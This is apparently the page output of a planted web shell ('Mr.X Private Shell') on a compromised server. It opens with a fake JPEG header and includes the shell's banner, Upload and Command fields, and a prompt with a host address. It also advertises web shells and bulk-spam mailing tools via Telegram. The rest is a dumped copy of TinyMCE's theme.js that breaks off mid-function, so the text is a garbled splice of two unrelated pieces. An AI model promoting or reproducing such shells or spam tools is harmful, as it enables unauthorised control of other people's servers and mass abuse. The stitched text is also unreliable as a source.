����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
modern/.htaccess000064400000000000152223175240007617 0ustar00modern/theme.js000064400001150123152223175240007476 0ustar00(function () {
var modern = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.ThemeManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.EditorManager');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var isBrandingEnabled = function (editor) {
      return editor.getParam('branding', true, 'boolean');
    };
    var hasMenubar = function (editor) {
      return getMenubar(editor) !== false;
    };
    var getMenubar = function (editor) {
      return editor.getParam('menubar');
    };
    var hasStatusbar = function (editor) {
      return editor.getParam('statusbar', true, 'boolean');
    };
    var getToolbarSize = function (editor) {
      return editor.getParam('toolbar_items_size');
    };
    var isReadOnly = function (editor) {
      return editor.getParam('readonly', false, 'boolean');
    };
    var getFixedToolbarContainer = function (editor) {
      return editor.getParam('fixed_toolbar_container');
    };
    var getInlineToolbarPositionHandler = function (editor) {
      return editor.getParam('inline_toolbar_position_handler');
    };
    var getMenu = function (editor) {
      return editor.getParam('menu');
    };
    var getRemovedMenuItems = function (editor) {
      return editor.getParam('removed_menuitems', '');
    };
    var getMinWidth = function (editor) {
      return editor.getParam('min_width', 100, 'number');
    };
    var getMinHeight = function (editor) {
      return editor.getParam('min_height', 100, 'number');
    };
    var getMaxWidth = function (editor) {
      return editor.getParam('max_width', 65535, 'number');
    };
    var getMaxHeight = function (editor) {
      return editor.getParam('max_height', 65535, 'number');
    };
    var isSkinDisabled = function (editor) {
      return editor.settings.skin === false;
    };
    var isInline = function (editor) {
      return editor.getParam('inline', false, 'boolean');
    };
    var getResize = function (editor) {
      var resize = editor.getParam('resize', 'vertical');
      if (resize === false) {
        return 'none';
      } else if (resize === 'both') {
        return 'both';
      } else {
        return 'vertical';
      }
    };
    var getSkinUrl = function (editor) {
      var settings = editor.settings;
      var skin = settings.skin;
      var skinUrl = settings.skin_url;
      if (skin !== false) {
        var skinName = skin ? skin : 'lightgray';
        if (skinUrl) {
          skinUrl = editor.documentBaseURI.toAbsolute(skinUrl);
        } else {
          skinUrl = global$1.baseURL + '/skins/' + skinName;
        }
      }
      return skinUrl;
    };
    var getIndexedToolbars = function (settings, defaultToolbar) {
      var toolbars = [];
      for (var i = 1; i < 10; i++) {
        var toolbar = settings['toolbar' + i];
        if (!toolbar) {
          break;
        }
        toolbars.push(toolbar);
      }
      var mainToolbar = settings.toolbar ? [settings.toolbar] : [defaultToolbar];
      return toolbars.length > 0 ? toolbars : mainToolbar;
    };
    var getToolbars = function (editor) {
      var toolbar = editor.getParam('toolbar');
      var defaultToolbar = 'undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image';
      if (toolbar === false) {
        return [];
      } else if (global$2.isArray(toolbar)) {
        return global$2.grep(toolbar, function (toolbar) {
          return toolbar.length > 0;
        });
      } else {
        return getIndexedToolbars(editor.settings, defaultToolbar);
      }
    };

    var global$3 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$4 = tinymce.util.Tools.resolve('tinymce.ui.Factory');

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.I18n');

    var fireSkinLoaded = function (editor) {
      return editor.fire('SkinLoaded');
    };
    var fireResizeEditor = function (editor) {
      return editor.fire('ResizeEditor');
    };
    var fireBeforeRenderUI = function (editor) {
      return editor.fire('BeforeRenderUI');
    };
    var Events = {
      fireSkinLoaded: fireSkinLoaded,
      fireResizeEditor: fireResizeEditor,
      fireBeforeRenderUI: fireBeforeRenderUI
    };

    var focus = function (panel, type) {
      return function () {
        var item = panel.find(type)[0];
        if (item) {
          item.focus(true);
        }
      };
    };
    var addKeys = function (editor, panel) {
      editor.shortcuts.add('Alt+F9', '', focus(panel, 'menubar'));
      editor.shortcuts.add('Alt+F10,F10', '', focus(panel, 'toolbar'));
      editor.shortcuts.add('Alt+F11', '', focus(panel, 'elementpath'));
      panel.on('cancel', function () {
        editor.focus();
      });
    };
    var A11y = { addKeys: addKeys };

    var global$6 = tinymce.util.Tools.resolve('tinymce.geom.Rect');

    var global$7 = tinymce.util.Tools.resolve('tinymce.util.Delay');

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || 'error: getOrDie called on none.');
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant('none()')
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return 'some(' + a + ')';
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var getUiContainerDelta = function (ctrl) {
      var uiContainer = getUiContainer(ctrl);
      if (uiContainer && global$3.DOM.getStyle(uiContainer, 'position', true) !== 'static') {
        var containerPos = global$3.DOM.getPos(uiContainer);
        var dx = uiContainer.scrollLeft - containerPos.x;
        var dy = uiContainer.scrollTop - containerPos.y;
        return Option.some({
          x: dx,
          y: dy
        });
      } else {
        return Option.none();
      }
    };
    var setUiContainer = function (editor, ctrl) {
      var uiContainer = global$3.DOM.select(editor.settings.ui_container)[0];
      ctrl.getRoot().uiContainer = uiContainer;
    };
    var getUiContainer = function (ctrl) {
      return ctrl ? ctrl.getRoot().uiContainer : null;
    };
    var inheritUiContainer = function (fromCtrl, toCtrl) {
      return toCtrl.uiContainer = getUiContainer(fromCtrl);
    };
    var UiContainer = {
      getUiContainerDelta: getUiContainerDelta,
      setUiContainer: setUiContainer,
      getUiContainer: getUiContainer,
      inheritUiContainer: inheritUiContainer
    };

    var createToolbar = function (editor, items, size) {
      var toolbarItems = [];
      var buttonGroup;
      if (!items) {
        return;
      }
      global$2.each(items.split(/[ ,]/), function (item) {
        var itemName;
        var bindSelectorChanged = function () {
          var selection = editor.selection;
          if (item.settings.stateSelector) {
            selection.selectorChanged(item.settings.stateSelector, function (state) {
              item.active(state);
            }, true);
          }
          if (item.settings.disabledStateSelector) {
            selection.selectorChanged(item.settings.disabledStateSelector, function (state) {
              item.disabled(state);
            });
          }
        };
        if (item === '|') {
          buttonGroup = null;
        } else {
          if (!buttonGroup) {
            buttonGroup = {
              type: 'buttongroup',
              items: []
            };
            toolbarItems.push(buttonGroup);
          }
          if (editor.buttons[item]) {
            itemName = item;
            item = editor.buttons[itemName];
            if (typeof item === 'function') {
              item = item();
            }
            item.type = item.type || 'button';
            item.size = size;
            item = global$4.create(item);
            buttonGroup.items.push(item);
            if (editor.initialized) {
              bindSelectorChanged();
            } else {
              editor.on('init', bindSelectorChanged);
            }
          }
        }
      });
      return {
        type: 'toolbar',
        layout: 'flow',
        items: toolbarItems
      };
    };
    var createToolbars = function (editor, size) {
      var toolbars = [];
      var addToolbar = function (items) {
        if (items) {
          toolbars.push(createToolbar(editor, items, size));
        }
      };
      global$2.each(getToolbars(editor), function (toolbar) {
        addToolbar(toolbar);
      });
      if (toolbars.length) {
        return {
          type: 'panel',
          layout: 'stack',
          classes: 'toolbar-grp',
          ariaRoot: true,
          ariaRemember: true,
          items: toolbars
        };
      }
    };
    var Toolbar = {
      createToolbar: createToolbar,
      createToolbars: createToolbars
    };

    var DOM = global$3.DOM;
    var toClientRect = function (geomRect) {
      return {
        left: geomRect.x,
        top: geomRect.y,
        width: geomRect.w,
        height: geomRect.h,
        right: geomRect.x + geomRect.w,
        bottom: geomRect.y + geomRect.h
      };
    };
    var hideAllFloatingPanels = function (editor) {
      global$2.each(editor.contextToolbars, function (toolbar) {
        if (toolbar.panel) {
          toolbar.panel.hide();
        }
      });
    };
    var movePanelTo = function (panel, pos) {
      panel.moveTo(pos.left, pos.top);
    };
    var togglePositionClass = function (panel, relPos, predicate) {
      relPos = relPos ? relPos.substr(0, 2) : '';
      global$2.each({
        t: 'down',
        b: 'up'
      }, function (cls, pos) {
        panel.classes.toggle('arrow-' + cls, predicate(pos, relPos.substr(0, 1)));
      });
      global$2.each({
        l: 'left',
        r: 'right'
      }, function (cls, pos) {
        panel.classes.toggle('arrow-' + cls, predicate(pos, relPos.substr(1, 1)));
      });
    };
    var userConstrain = function (handler, x, y, elementRect, contentAreaRect, panelRect) {
      panelRect = toClientRect({
        x: x,
        y: y,
        w: panelRect.w,
        h: panelRect.h
      });
      if (handler) {
        panelRect = handler({
          elementRect: toClientRect(elementRect),
          contentAreaRect: toClientRect(contentAreaRect),
          panelRect: panelRect
        });
      }
      return panelRect;
    };
    var addContextualToolbars = function (editor) {
      var scrollContainer;
      var getContextToolbars = function () {
        return editor.contextToolbars || [];
      };
      var getElementRect = function (elm) {
        var pos, targetRect, root;
        pos = DOM.getPos(editor.getContentAreaContainer());
        targetRect = editor.dom.getRect(elm);
        root = editor.dom.getRoot();
        if (root.nodeName === 'BODY') {
          targetRect.x -= root.ownerDocument.documentElement.scrollLeft || root.scrollLeft;
          targetRect.y -= root.ownerDocument.documentElement.scrollTop || root.scrollTop;
        }
        targetRect.x += pos.x;
        targetRect.y += pos.y;
        return targetRect;
      };
      var reposition = function (match, shouldShow) {
        var relPos, panelRect, elementRect, contentAreaRect, panel, relRect, testPositions, smallElementWidthThreshold;
        var handler = getInlineToolbarPositionHandler(editor);
        if (editor.removed) {
          return;
        }
        if (!match || !match.toolbar.panel) {
          hideAllFloatingPanels(editor);
          return;
        }
        testPositions = [
          'bc-tc',
          'tc-bc',
          'tl-bl',
          'bl-tl',
          'tr-br',
          'br-tr'
        ];
        panel = match.toolbar.panel;
        if (shouldShow) {
          panel.show();
        }
        elementRect = getElementRect(match.element);
        panelRect = DOM.getRect(panel.getEl());
        contentAreaRect = DOM.getRect(editor.getContentAreaContainer() || editor.getBody());
        var delta = UiContainer.getUiContainerDelta(panel).getOr({
          x: 0,
          y: 0
        });
        elementRect.x += delta.x;
        elementRect.y += delta.y;
        panelRect.x += delta.x;
        panelRect.y += delta.y;
        contentAreaRect.x += delta.x;
        contentAreaRect.y += delta.y;
        smallElementWidthThreshold = 25;
        if (DOM.getStyle(match.element, 'display', true) !== 'inline') {
          var clientRect = match.element.getBoundingClientRect();
          elementRect.w = clientRect.width;
          elementRect.h = clientRect.height;
        }
        if (!editor.inline) {
          contentAreaRect.w = editor.getDoc().documentElement.offsetWidth;
        }
        if (editor.selection.controlSelection.isResizable(match.element) && elementRect.w < smallElementWidthThreshold) {
          elementRect = global$6.inflate(elementRect, 0, 8);
        }
        relPos = global$6.findBestRelativePosition(panelRect, elementRect, contentAreaRect, testPositions);
        elementRect = global$6.clamp(elementRect, contentAreaRect);
        if (relPos) {
          relRect = global$6.relativePosition(panelRect, elementRect, relPos);
          movePanelTo(panel, userConstrain(handler, relRect.x, relRect.y, elementRect, contentAreaRect, panelRect));
        } else {
          contentAreaRect.h += panelRect.h;
          elementRect = global$6.intersect(contentAreaRect, elementRect);
          if (elementRect) {
            relPos = global$6.findBestRelativePosition(panelRect, elementRect, contentAreaRect, [
              'bc-tc',
              'bl-tl',
              'br-tr'
            ]);
            if (relPos) {
              relRect = global$6.relativePosition(panelRect, elementRect, relPos);
              movePanelTo(panel, userConstrain(handler, relRect.x, relRect.y, elementRect, contentAreaRect, panelRect));
            } else {
              movePanelTo(panel, userConstrain(handler, elementRect.x, elementRect.y, elementRect, contentAreaRect, panelRect));
            }
          } else {
            panel.hide();
          }
        }
        togglePositionClass(panel, relPos, function (pos1, pos2) {
          return pos1 === pos2;
        });
      };
      var repositionHandler = function (show) {
        return function () {
          var execute = function () {
            if (editor.selection) {
              reposition(findFrontMostMatch(editor.selection.getNode()), show);
            }
          };
          global$7.requestAnimationFrame(execute);
        };
      };
      var bindScrollEvent = function (panel) {
        if (!scrollContainer) {
          var reposition_1 = repositionHandler(true);
          var uiContainer_1 = UiContainer.getUiContainer(panel);
          scrollContainer = editor.selection.getScrollContainer() || editor.getWin();
          DOM.bind(scrollContainer, 'scroll', reposition_1);
          DOM.bind(uiContainer_1, 'scroll', reposition_1);
          editor.on('remove', function () {
            DOM.unbind(scrollContainer, 'scroll', reposition_1);
            DOM.unbind(uiContainer_1, 'scroll', reposition_1);
          });
        }
      };
      var showContextToolbar = function (match) {
        var panel;
        if (match.toolbar.panel) {
          match.toolbar.panel.show();
          reposition(match);
          return;
        }
        panel = global$4.create({
          type: 'floatpanel',
          role: 'dialog',
          classes: 'tinymce tinymce-inline arrow',
          ariaLabel: 'Inline toolbar',
          layout: 'flex',
          direction: 'column',
          align: 'stretch',
          autohide: false,
          autofix: true,
          fixed: true,
          border: 1,
          items: Toolbar.createToolbar(editor, match.toolbar.items),
          oncancel: function () {
            editor.focus();
          }
        });
        UiContainer.setUiContainer(editor, panel);
        bindScrollEvent(panel);
        match.toolbar.panel = panel;
        panel.renderTo().reflow();
        reposition(match);
      };
      var hideAllContextToolbars = function () {
        global$2.each(getContextToolbars(), function (toolbar) {
          if (toolbar.panel) {
            toolbar.panel.hide();
          }
        });
      };
      var findFrontMostMatch = function (targetElm) {
        var i, y, parentsAndSelf;
        var toolbars = getContextToolbars();
        parentsAndSelf = editor.$(targetElm).parents().add(targetElm);
        for (i = parentsAndSelf.length - 1; i >= 0; i--) {
          for (y = toolbars.length - 1; y >= 0; y--) {
            if (toolbars[y].predicate(parentsAndSelf[i])) {
              return {
                toolbar: toolbars[y],
                element: parentsAndSelf[i]
              };
            }
          }
        }
        return null;
      };
      editor.on('click keyup setContent ObjectResized', function (e) {
        if (e.type === 'setcontent' && !e.selection) {
          return;
        }
        global$7.setEditorTimeout(editor, function () {
          var match;
          match = findFrontMostMatch(editor.selection.getNode());
          if (match) {
            hideAllContextToolbars();
            showContextToolbar(match);
          } else {
            hideAllContextToolbars();
          }
        });
      });
      editor.on('blur hide contextmenu', hideAllContextToolbars);
      editor.on('ObjectResizeStart', function () {
        var match = findFrontMostMatch(editor.selection.getNode());
        if (match && match.toolbar.panel) {
          match.toolbar.panel.hide();
        }
      });
      editor.on('ResizeEditor ResizeWindow', repositionHandler(true));
      editor.on('nodeChange', repositionHandler(false));
      editor.on('remove', function () {
        global$2.each(getContextToolbars(), function (toolbar) {
          if (toolbar.panel) {
            toolbar.panel.remove();
          }
        });
        editor.contextToolbars = {};
      });
      editor.shortcuts.add('ctrl+F9', '', function () {
        var match = findFrontMostMatch(editor.selection.getNode());
        if (match && match.toolbar.panel) {
          match.toolbar.panel.items()[0].focus();
        }
      });
    };
    var ContextToolbars = { addContextualToolbars: addContextualToolbars };

    var typeOf = function (x) {
      if (x === null) {
        return 'null';
      }
      var t = typeof x;
      if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) {
        return 'array';
      }
      if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) {
        return 'string';
      }
      return t;
    };
    var isType = function (type) {
      return function (value) {
        return typeOf(value) === type;
      };
    };
    var isArray = isType('array');
    var isFunction = isType('function');
    var isNumber = isType('number');

    var nativeSlice = Array.prototype.slice;
    var nativeIndexOf = Array.prototype.indexOf;
    var nativePush = Array.prototype.push;
    var rawIndexOf = function (ts, t) {
      return nativeIndexOf.call(ts, t);
    };
    var indexOf = function (xs, x) {
      var r = rawIndexOf(xs, x);
      return r === -1 ? Option.none() : Option.some(r);
    };
    var exists = function (xs, pred) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    var map = function (xs, f) {
      var len = xs.length;
      var r = new Array(len);
      for (var i = 0; i < len; i++) {
        var x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    var each = function (xs, f) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        f(x, i);
      }
    };
    var filter = function (xs, pred) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    var foldl = function (xs, f, acc) {
      each(xs, function (x) {
        acc = f(acc, x);
      });
      return acc;
    };
    var find = function (xs, pred) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          return Option.some(x);
        }
      }
      return Option.none();
    };
    var findIndex = function (xs, pred) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          return Option.some(i);
        }
      }
      return Option.none();
    };
    var flatten = function (xs) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    var from$1 = isFunction(Array.from) ? Array.from : function (x) {
      return nativeSlice.call(x);
    };

    var defaultMenus = {
      file: {
        title: 'File',
        items: 'newdocument restoredraft | preview | print'
      },
      edit: {
        title: 'Edit',
        items: 'undo redo | cut copy paste pastetext | selectall'
      },
      view: {
        title: 'View',
        items: 'code | visualaid visualchars visualblocks | spellchecker | preview fullscreen'
      },
      insert: {
        title: 'Insert',
        items: 'image link media template codesample inserttable | charmap hr | pagebreak nonbreaking anchor toc | insertdatetime'
      },
      format: {
        title: 'Format',
        items: 'bold italic underline strikethrough superscript subscript codeformat | blockformats align | removeformat'
      },
      tools: {
        title: 'Tools',
        items: 'spellchecker spellcheckerlanguage | a11ycheck code'
      },
      table: { title: 'Table' },
      help: { title: 'Help' }
    };
    var delimiterMenuNamePair = function () {
      return {
        name: '|',
        item: { text: '|' }
      };
    };
    var createMenuNameItemPair = function (name, item) {
      var menuItem = item ? {
        name: name,
        item: item
      } : null;
      return name === '|' ? delimiterMenuNamePair() : menuItem;
    };
    var hasItemName = function (namedMenuItems, name) {
      return findIndex(namedMenuItems, function (namedMenuItem) {
        return namedMenuItem.name === name;
      }).isSome();
    };
    var isSeparator = function (namedMenuItem) {
      return namedMenuItem && namedMenuItem.item.text === '|';
    };
    var cleanupMenu = function (namedMenuItems, removedMenuItems) {
      var menuItemsPass1 = filter(namedMenuItems, function (namedMenuItem) {
        return removedMenuItems.hasOwnProperty(namedMenuItem.name) === false;
      });
      var menuItemsPass2 = filter(menuItemsPass1, function (namedMenuItem, i) {
        return !isSeparator(namedMenuItem) || !isSeparator(menuItemsPass1[i - 1]);
      });
      return filter(menuItemsPass2, function (namedMenuItem, i) {
        return !isSeparator(namedMenuItem) || i > 0 && i < menuItemsPass2.length - 1;
      });
    };
    var createMenu = function (editorMenuItems, menus, removedMenuItems, context) {
      var menuButton, menu, namedMenuItems, isUserDefined;
      if (menus) {
        menu = menus[context];
        isUserDefined = true;
      } else {
        menu = defaultMenus[context];
      }
      if (menu) {
        menuButton = { text: menu.title };
        namedMenuItems = [];
        global$2.each((menu.items || '').split(/[ ,]/), function (name) {
          var namedMenuItem = createMenuNameItemPair(name, editorMenuItems[name]);
          if (namedMenuItem) {
            namedMenuItems.push(namedMenuItem);
          }
        });
        if (!isUserDefined) {
          global$2.each(editorMenuItems, function (item, name) {
            if (item.context === context && !hasItemName(namedMenuItems, name)) {
              if (item.separator === 'before') {
                namedMenuItems.push(delimiterMenuNamePair());
              }
              if (item.prependToContext) {
                namedMenuItems.unshift(createMenuNameItemPair(name, item));
              } else {
                namedMenuItems.push(createMenuNameItemPair(name, item));
              }
              if (item.separator === 'after') {
                namedMenuItems.push(delimiterMenuNamePair());
              }
            }
          });
        }
        menuButton.menu = map(cleanupMenu(namedMenuItems, removedMenuItems), function (menuItem) {
          return menuItem.item;
        });
        if (!menuButton.menu.length) {
          return null;
        }
      }
      return menuButton;
    };
    var getDefaultMenubar = function (editor) {
      var name;
      var defaultMenuBar = [];
      var menu = getMenu(editor);
      if (menu) {
        for (name in menu) {
          defaultMenuBar.push(name);
        }
      } else {
        for (name in defaultMenus) {
          defaultMenuBar.push(name);
        }
      }
      return defaultMenuBar;
    };
    var createMenuButtons = function (editor) {
      var menuButtons = [];
      var defaultMenuBar = getDefaultMenubar(editor);
      var removedMenuItems = global$2.makeMap(getRemovedMenuItems(editor).split(/[ ,]/));
      var menubar = getMenubar(editor);
      var enabledMenuNames = typeof menubar === 'string' ? menubar.split(/[ ,]/) : defaultMenuBar;
      for (var i = 0; i < enabledMenuNames.length; i++) {
        var menuItems = enabledMenuNames[i];
        var menu = createMenu(editor.menuItems, getMenu(editor), removedMenuItems, menuItems);
        if (menu) {
          menuButtons.push(menu);
        }
      }
      return menuButtons;
    };
    var Menubar = { createMenuButtons: createMenuButtons };

    var DOM$1 = global$3.DOM;
    var getSize = function (elm) {
      return {
        width: elm.clientWidth,
        height: elm.clientHeight
      };
    };
    var resizeTo = function (editor, width, height) {
      var containerElm, iframeElm, containerSize, iframeSize;
      containerElm = editor.getContainer();
      iframeElm = editor.getContentAreaContainer().firstChild;
      containerSize = getSize(containerElm);
      iframeSize = getSize(iframeElm);
      if (width !== null) {
        width = Math.max(getMinWidth(editor), width);
        width = Math.min(getMaxWidth(editor), width);
        DOM$1.setStyle(containerElm, 'width', width + (containerSize.width - iframeSize.width));
        DOM$1.setStyle(iframeElm, 'width', width);
      }
      height = Math.max(getMinHeight(editor), height);
      height = Math.min(getMaxHeight(editor), height);
      DOM$1.setStyle(iframeElm, 'height', height);
      Events.fireResizeEditor(editor);
    };
    var resizeBy = function (editor, dw, dh) {
      var elm = editor.getContentAreaContainer();
      resizeTo(editor, elm.clientWidth + dw, elm.clientHeight + dh);
    };
    var Resize = {
      resizeTo: resizeTo,
      resizeBy: resizeBy
    };

    var global$8 = tinymce.util.Tools.resolve('tinymce.Env');

    var api = function (elm) {
      return {
        element: function () {
          return elm;
        }
      };
    };
    var trigger = function (sidebar, panel, callbackName) {
      var callback = sidebar.settings[callbackName];
      if (callback) {
        callback(api(panel.getEl('body')));
      }
    };
    var hidePanels = function (name, container, sidebars) {
      global$2.each(sidebars, function (sidebar) {
        var panel = container.items().filter('#' + sidebar.name)[0];
        if (panel && panel.visible() && sidebar.name !== name) {
          trigger(sidebar, panel, 'onhide');
          panel.visible(false);
        }
      });
    };
    var deactivateButtons = function (toolbar) {
      toolbar.items().each(function (ctrl) {
        ctrl.active(false);
      });
    };
    var findSidebar = function (sidebars, name) {
      return global$2.grep(sidebars, function (sidebar) {
        return sidebar.name === name;
      })[0];
    };
    var showPanel = function (editor, name, sidebars) {
      return function (e) {
        var btnCtrl = e.control;
        var container = btnCtrl.parents().filter('panel')[0];
        var panel = container.find('#' + name)[0];
        var sidebar = findSidebar(sidebars, name);
        hidePanels(name, container, sidebars);
        deactivateButtons(btnCtrl.parent());
        if (panel && panel.visible()) {
          trigger(sidebar, panel, 'onhide');
          panel.hide();
          btnCtrl.active(false);
        } else {
          if (panel) {
            panel.show();
            trigger(sidebar, panel, 'onshow');
          } else {
            panel = global$4.create({
              type: 'container',
              name: name,
              layout: 'stack',
              classes: 'sidebar-panel',
              html: ''
            });
            container.prepend(panel);
            trigger(sidebar, panel, 'onrender');
            trigger(sidebar, panel, 'onshow');
          }
          btnCtrl.active(true);
        }
        Events.fireResizeEditor(editor);
      };
    };
    var isModernBrowser = function () {
      return !global$8.ie || global$8.ie >= 11;
    };
    var hasSidebar = function (editor) {
      return isModernBrowser() && editor.sidebars ? editor.sidebars.length > 0 : false;
    };
    var createSidebar = function (editor) {
      var buttons = global$2.map(editor.sidebars, function (sidebar) {
        var settings = sidebar.settings;
        return {
          type: 'button',
          icon: settings.icon,
          image: settings.image,
          tooltip: settings.tooltip,
          onclick: showPanel(editor, sidebar.name, editor.sidebars)
        };
      });
      return {
        type: 'panel',
        name: 'sidebar',
        layout: 'stack',
        classes: 'sidebar',
        items: [{
            type: 'toolbar',
            layout: 'stack',
            classes: 'sidebar-toolbar',
            items: buttons
          }]
      };
    };
    var Sidebar = {
      hasSidebar: hasSidebar,
      createSidebar: createSidebar
    };

    var fireSkinLoaded$1 = function (editor) {
      var done = function () {
        editor._skinLoaded = true;
        Events.fireSkinLoaded(editor);
      };
      return function () {
        if (editor.initialized) {
          done();
        } else {
          editor.on('init', done);
        }
      };
    };
    var SkinLoaded = { fireSkinLoaded: fireSkinLoaded$1 };

    var DOM$2 = global$3.DOM;
    var switchMode = function (panel) {
      return function (e) {
        panel.find('*').disabled(e.mode === 'readonly');
      };
    };
    var editArea = function (border) {
      return {
        type: 'panel',
        name: 'iframe',
        layout: 'stack',
        classes: 'edit-area',
        border: border,
        html: ''
      };
    };
    var editAreaContainer = function (editor) {
      return {
        type: 'panel',
        layout: 'stack',
        classes: 'edit-aria-container',
        border: '1 0 0 0',
        items: [
          editArea('0'),
          Sidebar.createSidebar(editor)
        ]
      };
    };
    var render = function (editor, theme, args) {
      var panel, resizeHandleCtrl, startSize;
      if (isSkinDisabled(editor) === false && args.skinUiCss) {
        DOM$2.styleSheetLoader.load(args.skinUiCss, SkinLoaded.fireSkinLoaded(editor));
      } else {
        SkinLoaded.fireSkinLoaded(editor)();
      }
      panel = theme.panel = global$4.create({
        type: 'panel',
        role: 'application',
        classes: 'tinymce',
        style: 'visibility: hidden',
        layout: 'stack',
        border: 1,
        items: [
          {
            type: 'container',
            classes: 'top-part',
            items: [
              hasMenubar(editor) === false ? null : {
                type: 'menubar',
                border: '0 0 1 0',
                items: Menubar.createMenuButtons(editor)
              },
              Toolbar.createToolbars(editor, getToolbarSize(editor))
            ]
          },
          Sidebar.hasSidebar(editor) ? editAreaContainer(editor) : editArea('1 0 0 0')
        ]
      });
      UiContainer.setUiContainer(editor, panel);
      if (getResize(editor) !== 'none') {
        resizeHandleCtrl = {
          type: 'resizehandle',
          direction: getResize(editor),
          onResizeStart: function () {
            var elm = editor.getContentAreaContainer().firstChild;
            startSize = {
              width: elm.clientWidth,
              height: elm.clientHeight
            };
          },
          onResize: function (e) {
            if (getResize(editor) === 'both') {
              Resize.resizeTo(editor, startSize.width + e.deltaX, startSize.height + e.deltaY);
            } else {
              Resize.resizeTo(editor, null, startSize.height + e.deltaY);
            }
          }
        };
      }
      if (hasStatusbar(editor)) {
        var linkHtml = '<a href="https://www.tiny.cloud/?utm_campaign=editor_referral&amp;utm_medium=poweredby&amp;utm_source=tinymce" rel="noopener" target="_blank" role="presentation" tabindex="-1">Tiny</a>';
        var html = global$5.translate([
          'Powered by {0}',
          linkHtml
        ]);
        var brandingLabel = isBrandingEnabled(editor) ? {
          type: 'label',
          classes: 'branding',
          html: ' ' + html
        } : null;
        panel.add({
          type: 'panel',
          name: 'statusbar',
          classes: 'statusbar',
          layout: 'flow',
          border: '1 0 0 0',
          ariaRoot: true,
          items: [
            {
              type: 'elementpath',
              editor: editor
            },
            resizeHandleCtrl,
            brandingLabel
          ]
        });
      }
      Events.fireBeforeRenderUI(editor);
      editor.on('SwitchMode', switchMode(panel));
      panel.renderBefore(args.targetNode).reflow();
      if (isReadOnly(editor)) {
        editor.setMode('readonly');
      }
      if (args.width) {
        DOM$2.setStyle(panel.getEl(), 'width', args.width);
      }
      editor.on('remove', function () {
        panel.remove();
        panel = null;
      });
      A11y.addKeys(editor, panel);
      ContextToolbars.addContextualToolbars(editor);
      return {
        iframeContainer: panel.find('#iframe')[0].getEl(),
        editorContainer: panel.getEl()
      };
    };
    var Iframe = { render: render };

    var global$9 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');

    var count = 0;
    var funcs = {
      id: function () {
        return 'mceu_' + count++;
      },
      create: function (name, attrs, children) {
        var elm = domGlobals.document.createElement(name);
        global$3.DOM.setAttribs(elm, attrs);
        if (typeof children === 'string') {
          elm.innerHTML = children;
        } else {
          global$2.each(children, function (child) {
            if (child.nodeType) {
              elm.appendChild(child);
            }
          });
        }
        return elm;
      },
      createFragment: function (html) {
